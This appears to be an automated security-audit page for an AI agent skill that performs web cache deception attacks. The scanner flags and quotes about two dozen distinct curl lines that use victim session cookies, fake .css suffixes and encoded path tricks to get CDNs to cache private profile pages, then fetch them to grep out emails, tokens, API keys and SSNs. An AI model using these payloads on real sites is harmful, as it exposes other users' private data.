performing-web-cache-deception-attack
Enables execution of web cache deception attacks by exploiting CDN caching discrepancies to access sensitive content.
Install this skill
Security score
The performing-web-cache-deception-attack skill was audited on Jun 14, 2026 and we found 48 security issues across 2 threat categories. Review the findings below before installing.
Categories Tested
Security Issues
Curl to non-GitHub URL
| 61 | curl -I http://target.com/account/profile |
Curl to non-GitHub URL
| 65 | curl -I "http://target.com/static/style.css" |
Curl to non-GitHub URL
| 71 | curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache" |
Curl to non-GitHub URL
| 82 | curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css" |
Curl to non-GitHub URL
| 85 | curl "http://target.com/account/profile/anything.css" |
Curl to non-GitHub URL
| 90 | curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null |
Curl to non-GitHub URL
| 93 | curl -s "http://target.com/account/profile/x.$ext" | head -c 200 |
Curl to non-GitHub URL
| 102 | curl -b "session=VICTIM" "http://target.com/account/profile;anything.css" |
Curl to non-GitHub URL
| 105 | curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css" |
Curl to non-GitHub URL
| 106 | curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css" |
Curl to non-GitHub URL
| 109 | curl -b "session=VICTIM" "http://target.com/account/profile%00.css" |
Curl to non-GitHub URL
| 112 | curl -b "session=VICTIM" "http://target.com/account/profile%23.css" |
Curl to non-GitHub URL
| 115 | curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile" |
Curl to non-GitHub URL
| 124 | curl -b "session=VICTIM" "http://target.com/static/../account/profile" |
Curl to non-GitHub URL
| 128 | curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile" |
Curl to non-GitHub URL
| 131 | curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS" |
Curl to non-GitHub URL
| 134 | curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css" |
Curl to non-GitHub URL
| 143 | curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css" |
Curl to non-GitHub URL
| 146 | curl -b "session=VICTIM" "http://target.com/account/profile/./style.css" |
Curl to non-GitHub URL
| 147 | curl "http://target.com/account/profile/./style.css" # Check if cached |
Curl to non-GitHub URL
| 165 | curl -I "http://target.com/account/profile/x.css" |
Curl to non-GitHub URL
| 169 | curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn" |
External URL reference
| 61 | curl -I http://target.com/account/profile |
External URL reference
| 65 | curl -I "http://target.com/static/style.css" |
External URL reference
| 71 | curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache" |
External URL reference
| 78 | # Victim visits: http://target.com/account/profile/nonexistent.css |
External URL reference
| 82 | curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css" |
External URL reference
| 85 | curl "http://target.com/account/profile/anything.css" |
External URL reference
| 90 | curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null |
External URL reference
| 93 | curl -s "http://target.com/account/profile/x.$ext" | head -c 200 |
External URL reference
| 102 | curl -b "session=VICTIM" "http://target.com/account/profile;anything.css" |
External URL reference
| 105 | curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css" |
External URL reference
| 106 | curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css" |
External URL reference
| 109 | curl -b "session=VICTIM" "http://target.com/account/profile%00.css" |
External URL reference
| 112 | curl -b "session=VICTIM" "http://target.com/account/profile%23.css" |
External URL reference
| 115 | curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile" |
External URL reference
| 124 | curl -b "session=VICTIM" "http://target.com/static/../account/profile" |
External URL reference
| 128 | curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile" |
External URL reference
| 131 | curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS" |
External URL reference
| 134 | curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css" |
External URL reference
| 143 | curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css" |
External URL reference
| 146 | curl -b "session=VICTIM" "http://target.com/account/profile/./style.css" |
External URL reference
| 147 | curl "http://target.com/account/profile/./style.css" # Check if cached |
External URL reference
| 151 | "http://target.com/static/cached.css" |
External URL reference
| 157 | # 1. Craft malicious URL: http://target.com/account/profile/x.css |
External URL reference
| 165 | curl -I "http://target.com/account/profile/x.css" |
External URL reference
| 169 | curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn" |
External URL reference
| 207 | - **Target**: http://target.com |